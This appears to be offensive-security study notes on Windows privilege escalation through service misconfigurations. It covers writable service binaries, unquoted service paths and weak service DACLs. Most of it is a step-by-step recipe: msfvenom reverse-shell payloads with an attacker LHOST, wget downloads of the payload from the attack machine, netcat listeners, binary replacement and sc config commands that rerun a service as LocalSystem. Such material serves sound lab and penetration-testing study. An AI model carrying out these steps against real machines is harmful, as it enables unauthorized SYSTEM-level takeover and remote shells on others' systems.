Abusing service misconfigurations
Attack tree
1 Escalate through insecure permissions on service executable (OR)
1.1 Misconfigured Service executable DACL (modifiable permissions on the executable) (AND)
1.2 Reverse shell payload replacing service executable (AND)
1.2 Listener on attack machine
2 Escalate through unquoted service path (OR)
2.1 Service binaries in a non-default path (AND)
2.2 BUILTIN\\Users group has AD and WD privileges (AND)
2.3 Reverse shell exe-service payload (AND)
2.4 Listener on attack machine
3 Escalate through insecure service permissions
3.1 Misconfigured Service DACL (AND)
3.2 Reverse shell exe-service payload (AND)
3.3 Listener on attack machine
Examples
WindowsScheduler
Check service with
sc cq
:
C:\> sc qc WindowsScheduler
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: windowsscheduler
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 0 IGNORE
BINARY_PATH_NAME : C:\PROGRA~2\SYSTEM~1\WService.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : System Scheduler Service
DEPENDENCIES :
SERVICE_START_NAME : .\svcuser1
Check the permissions on the executable:
C:\Users\unprivilegedusername>icacls C:\PROGRA~2\SYSTEM~1\WService.exe
C:\PROGRA~2\SYSTEM~1\WService.exe Everyone:(I)(M)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)
The Everyone
group has modify permissions (M) on the service’s executable. We can overwrite it with any payload,
and the service will execute it with the privileges of the configured user account.
Generate an exe-service payload using msfvenom and serve it through a python webserver:
# msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP address attack machine> LPORT=4445 -f exe-service -o rev-svc.exe
# python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
On the target machine, in powershell, pull it down:
wget http://<IP address attack machine>:8000/rev-svc.exe -O rev-svc.exe
Replace the service executable with the payload:
C:\> cd C:\PROGRA~2\SYSTEM~1\
C:\PROGRA~2\SYSTEM~1> move WService.exe WService.exe.bkp
1 file(s) moved.
C:\PROGRA~2\SYSTEM~1> move C:\Users\unprivilegedusername\rev-svc.exe WService.exe
1 file(s) moved.
C:\PROGRA~2\SYSTEM~1> icacls WService.exe /grant Everyone:F
Successfully processed 1 files.
Start listener on attack machine:
# nc -lvp 4445
Wait for the service to restart.
Disk Sorter Enterprise
An unquoted service path was found.
C:\> sc qc "disk sorter enterprise"
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: disk sorter enterprise
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 0 IGNORE
BINARY_PATH_NAME : C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Disk Sorter Enterprise
DEPENDENCIES :
SERVICE_START_NAME : .\svcusr2
Generate an exe-service payload using msfvenom and serve it through a python webserver:
# msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP address attack machine> LPORT=4446 -f exe-service -o rev-svc2.exe
# python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
On the target machine, in powershell, pull it down:
wget http://<IP address attack machine>:8000/rev-svc2.exe -O rev-svc2.exe
Move it to any of the locations where hijacking might occur. For example, move it to
C:\MyPrograms\Disk.exe
, and grantEveryone
full permissions on the file to make sure it can be executed by the service:
C:\> move C:\Users\unprivilegedusername\rev-svc2.exe C:\MyPrograms\Disk.exe
C:\> icacls C:\MyPrograms\Disk.exe /grant Everyone:F
Successfully processed 1 files.
Start listener on attack machine:
# nc -lvp 4446
Start the “updated” service:
C:\> sc stop "disk sorter enterprise"
C:\> sc start "disk sorter enterprise"
Misconfigured Service DACL
Download Accesschk from the Sysinternals suite to
C:\\tools
.Check a namedservice DACL:
C:\tools\AccessChk> accesschk64.exe -qlc namedservice
[0] ACCESS_ALLOWED_ACE_TYPE: NT AUTHORITY\SYSTEM
SERVICE_QUERY_STATUS
SERVICE_QUERY_CONFIG
SERVICE_INTERROGATE
SERVICE_ENUMERATE_DEPENDENTS
SERVICE_PAUSE_CONTINUE
SERVICE_START
SERVICE_STOP
SERVICE_USER_DEFINED_CONTROL
READ_CONTROL
[4] ACCESS_ALLOWED_ACE_TYPE: BUILTIN\Users
SERVICE_ALL_ACCESS
The BUILTIN\\Users
group has the SERVICE_ALL_ACCESS
permission, which means any user can reconfigure the service.
Build another exe-service reverse shell and start a listener for it on the attacker’s machine:
# msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP address attack machine> LPORT=4447 -f exe-service -o rev-svc3.exe
# nc -lvp 4447
# python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
On the target machine, in powershell, pull it down:
wget http://<IP address attack machine>:8000/rev-svc3.exe -O rev-svc3.exe
Grant permissions to
Everyone
:
C:\> icacls C:\Users\unprivilegedusername\rev-svc3.exe /grant Everyone:F
Change the service’s associated executable and account:
C:\> sc config NamedService binPath= "C:\Users\unprivilegedusername\rev-svc3.exe" obj= LocalSystem
We can use any account to run the service. LocalSystem
is just the highest privileged account available.
To trigger the payload, restart the service:
C:\> sc stop NamedService
C:\> sc start NamedService
Notes
Windows services are managed by the Service Control Manager (SCM). The SCM is a process in charge of managing the state of services as needed, checking the current status of any given service and generally providing a way to configure services.
Use the
sc qc someservice
command for more info on a service. The associated executable is specified through theBINARY_PATH_NAME
parameter, and the account used to run the service is shown on theSERVICE_START_NAME
parameter.Services have a Discretionary Access Control List (DACL), which indicates who has permission to start, stop, pause, query status, query configuration, or reconfigure the service, amongst other privileges.
All services configurations are stored in the registry under
HKLM\SYSTEM\CurrentControlSet\Services\
A subkey exists for every service in the system. If a DACL has been configured for the service, it will be stored in a subkey called
Security
. Only administrators can modify such registry entries by default.
Insecure Permissions on Service Executable
If an executable associated with a service has weak permissions that allow an adversary to modify or replace it, the adversary can gain the privileges of the service’s account.
Unquoted path vulnerability
When we can’t directly write into service executables, there might still be a chance. Most of the service executables
will be installed under C:\Program Files
or C:\Program Files (x86)
by default, which isn’t writable by unprivileged
users. This prevents any vulnerable service from being exploited. There are exceptions to this rule.
Some installers change the permissions on the installed folders, making the services vulnerable.
An administrator might decide to install the service binaries in a non-default path. If such a path is
world-writable, an “Unquoted Service Paths vulnerability” (if found) can be exploited.
For example, the Administrator installed the Disk Sorter
binaries under c:\MyPrograms
.
By default, this inherits the permissions of the C:\
directory, which allows any user to create files and folders
in it. Check with icacls
in the Command Prompt:
C:\>icacls c:\MyPrograms
c:\MyPrograms NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
BUILTIN\Administrators:(I)(OI)(CI)(F)
BUILTIN\Users:(I)(OI)(CI)(RX)
BUILTIN\Users:(I)(CI)(AD)
BUILTIN\Users:(I)(CI)(WD)
CREATOR OWNER:(I)(OI)(CI)(IO)(F)
The BUILTIN\\Users
group has AD
and WD
privileges, allowing a user to create subdirectories and files.
The Unquoted
in “Unquoted Service Paths vulnerability” means that the path of the associated executable is not
properly quoted to account for spaces on the command.
Quoted:
BINARY_PATH_NAME : "C:\Program Files\RealVNC\VNC Server\vncserver.exe" -service
Unquoted:
BINARY_PATH_NAME : C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe
With “unquoted”, the SCM starts searching for each of the binaries in the order:
C:\\MyPrograms\\Disk.exe
C:\\MyPrograms\\Disk Sorter.exe
C:\\MyPrograms\\Disk Sorter Enterprise\\bin\\disksrs.exe.
The last option is expected to succeed and will be run in a default installation.
Unless Disk.exe
or Disk Sorter.exe
exists!
Insecure service permissions
You might still have a slight chance of taking advantage of a service if the service’s executable DACL is well configured, and the service’s binary path is rightly quoted. Should the service DACL (not the service’s executable DACL) allow you to modify the configuration of a service, you will be able to reconfigure the service. This will allow you to point to any executable you need and run it with any account you prefer, including SYSTEM itself.